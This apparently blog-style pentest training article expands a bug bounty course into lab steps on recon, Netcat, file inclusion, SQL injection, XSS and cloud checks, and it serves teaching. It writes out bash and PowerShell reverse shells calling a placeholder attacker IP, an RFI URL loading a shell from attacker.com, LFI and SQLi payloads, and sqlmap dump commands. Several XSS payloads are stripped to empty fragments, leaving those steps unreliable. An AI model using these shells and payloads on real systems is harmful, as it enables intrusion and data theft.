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Introduction:
Bug bounty programs reward ethical hackers for uncovering vulnerabilities in web applications, turning security flaws into profit. IGNITE TECHNOLOGIES’ comprehensive “Bug Bounty” training program equips aspiring pentesters with hands-on skills across OWASP Top 10 risks, advanced exploitation techniques, and real-world recon—all delivered online. This article extracts the core technical syllabus and expands it into actionable labs, commands, and tutorials you can use immediately.
Learning Objectives:
- Set up a complete web penetration testing lab with vulnerable targets and proxy tools.
- Master reconnaissance, Netcat pivoting, and file inclusion attacks to map and breach applications.
- Exploit and mitigate SQLi, XSS, XXE, and authentication flaws through manual and automated techniques.
You Should Know:
1. Pentest Lab Setup – Your Hacking Playground
Before hunting bugs, you need a safe, isolated environment. This step‑by‑step guide builds a professional lab using virtual machines and purposely vulnerable apps.
Step‑by‑step:
- Install VMware Workstation (Windows) or VirtualBox (Linux/Windows). Download Kali Linux from kali.org.
- Create a Kali VM (2GB RAM, 40GB disk). Boot and run
sudo apt update && sudo apt upgrade -y. - Install Docker on Kali:
sudo apt install docker.io -y && sudo systemctl start docker. - Pull OWASP WebGoat (modern training):
docker pull webgoat/goatandwolf && docker run -p 8080:8080 webgoat/goatandwolf. - Pull DVWA (Damn Vulnerable Web App):
docker pull vulnerables/web-dvwa && docker run -p 80:80 vulnerables/web-dvwa. - Install Burp Suite Community:
sudo apt install burpsuite -y. Launch withburpsuite. - For Windows users without Linux, enable WSL2:
wsl --install, then install Kali from Microsoft Store.
Verification: Access http://localhost:8080/WebGoat and http://localhost/login (DVWA default admin/password). You now have a live target.
- Information Gathering & Reconnaissance – Know Your Target
Recon is 70% of bug bounty success. This section covers passive and active data collection using OSINT and scanning tools.
Step‑by‑step:
- Use subdomain enumeration: `subfinder -d example.com` (install:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest). - For deeper discovery:
amass enum -passive -d example.com -o domains.txt. - DNS brute‑force with
dnsrecon -d example.com -D /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt. - HTTP headers and tech stack: `whatweb https://target.com` or `curl -I https://target.com`.
- For Windows PowerShell: `Resolve-DnsName -Name target.com -Type A` and
Invoke-WebRequest -Uri https://target.com -Method Head.
Combine results using `cat domains.txt | sort -u | httpx -silent -status-code` (install httpx from ProjectDiscovery). Save live hosts for later testing.
- Netcat for Pentester – The Swiss Army Knife
Netcat (nc) reads and writes data across network connections, enabling port scanning, banner grabbing, and reverse shells.
Step‑by‑step:
- Port scan a target:
nc -zv 192.168.1.10 1-1000 2>&1 | grep succeeded. (Slow but stealthy.) - Grab service banner: `nc -nv 192.168.1.10 80` then type `HEAD / HTTP/1.0` and press Enter twice.
- Set up a reverse shell listener on your attacker machine:
nc -lvnp 4444. - On the victim (if command injection exists): `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1` (Linux) or for Windows:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()".
When the victim executes their payload, your listener catches an interactive shell.
- Local & Remote File Inclusion (LFI/RFI) – Reading Sensitive Files
LFI allows attackers to read local files (e.g., /etc/passwd); RFI includes remote code by loading external scripts.
Step‑by‑step (on DVWA, set security low):
- Parameter to test: `http://target/vuln.php?page=../../../../etc/passwd` – if you see user list, LFI exists.
- Bypass filters:
....//....//etc/passwd, URL encode%2e%2e%2f, or use `php://filter/convert.base64-encode/resource=config.php` to read source code. - For RFI (allow_url_include=On):
http://target/vuln.php?page=http://attacker.com/shell.txt` – ensure shell.txt contains`. - Mitigation: Avoid user input in file paths; use whitelists and disable
allow_url_include.
Linux command to check logs: `tail -f /var/log/apache2/access.log` while testing. On Windows IIS logs: Get-Content C:\inetpub\logs\LogFiles\W3SVC1\u_ex.log -Tail 10 -Wait.
5. SQL Injection – Manual Exploitation and Mitigation
SQLi remains a critical bug. This guide shows manual union‑based injection and using sqlmap.
Step‑by‑step (WebGoat or a test site with `?id=1`):
- Detect: `’ OR ‘1’=’1` – if login bypass or extra rows appear, it’s vulnerable.
- Count columns: `’ ORDER BY 5–` – increase number until error. Suppose 3 columns work.
- Union extract database version: `’ UNION SELECT NULL,@@version,NULL–` (MySQL) or `’ UNION SELECT NULL,version(),NULL–` (PostgreSQL).
- For sqlmap automation:
sqlmap -u "http://target/page?id=1" --dbs --batch. - Dump tables:
sqlmap -u "http://target/page?id=1" -D database_name --tables --dump. - Mitigation: Parameterized queries (e.g., prepared statements in Java/PHP PDO) and input validation.
Windows command to monitor SQL traffic (if testing local MSSQL): enable SQL Server Profiler. Linux: sudo tcpdump -i eth0 port 1433.
- Cross‑Site Scripting (XSS) – Persistent and Reflected Payloads
XSS injects malicious scripts into webpages. Here are proven payloads and bypasses.
Step‑by‑step:
- Reflected XSS: Input `` into a search box; if alert pops, it’s vulnerable.
- Stored XSS: Post `
` in a comment field; every visitor gets the alert.
- Bypass filters:
- Case variation: ``
– Event handlers: ``
– Obfuscation: `javascript:alert(1)` in href. - Without script tags: `
- Mitigation: Output encoding (HTML entity encode), Content Security Policy (CSP), and HttpOnly cookies.
Test your payloads in Burp Suite Repeater; view source to see if input is reflected unencoded.
- Cloud & API Security Hardening – Bonus from the Syllabus
Modern bug bounties include APIs and cloud misconfigurations. This section hardens your own cloud assets.
Step‑by‑step:
- For AWS: Install AWS CLI (
pip install awscli). Configure withaws configure. Check for open S3 buckets: `aws s3 ls s3://target-bucket –no-sign-request` – if it lists files, bucket is public. - API endpoint testing: Use Postman or `curl -X GET “https://api.target.com/v1/users/1” -H “Authorization: Bearer invalid”` – check for IDOR (increment user ID).
- Rate limiting bypass: Send multiple requests with `for i in {1..100}; do curl -s -o /dev/null -w “%{http_code}\n” https://api.target.com/login -d “user=admin&pass=123”; done` – if you never get 429, rate limiting is weak.
- Cloud hardening: Enable MFA for root account, use AWS Config rules to detect public buckets, and apply least privilege IAM roles.
- Windows Azure: Install Az module (
Install-Module -Name Az -AllowClobber). Run `Get-AzStorageAccount` and check `AllowBlobPublicAccess` property.
Integrate these checks into a CI/CD pipeline using `checkov` (infrastructure as code scanning).
What Undercode Say:
- Key Takeaway 1: Hands‑on lab exercises (Netcat, LFI, SQLi) transform theoretical OWASP knowledge into bug‑bounty‑ready skills.
- Key Takeaway 2: Automation with tools like sqlmap and subfinder accelerates recon, but manual payload crafting remains essential for bypassing modern filters.
Analysis: IGNITE’s program covers a balanced mix of classic vulnerabilities (file inclusion, XSS) and emerging areas (API security, cloud hardening). The inclusion of Netcat for reverse shells and PHP web shells directly addresses red‑team persistence. However, students should supplement this with API‑specific training (OWASP API Top 10) and serverless misconfigurations, as bug bounty scopes now heavily favor microservices. The step‑by‑step commands provided here for Linux and Windows ensure cross‑platform mastery—critical for professional pentesters who encounter diverse client environments.
Prediction:
As web applications migrate to serverless and GraphQL APIs, traditional bug bounty training will evolve to include automated API fuzzing and AI‑driven recon. Programs like IGNITE’s will soon integrate large language model (LLM) security testing (e.g., prompt injection) and client‑side dependency chain attacks. Meanwhile, the demand for certified bug bounty hunters will push training platforms to offer live, gamified simulations with real‑time payouts, narrowing the gap between classroom labs and live programs like HackerOne. Expect 2026–2027 to see a surge in “bug bounty as a service” platforms that embed automated scanners into CI/CD pipelines, making proactive security a development standard rather than an afterthought.
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Reported By: Mitali Aswani – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
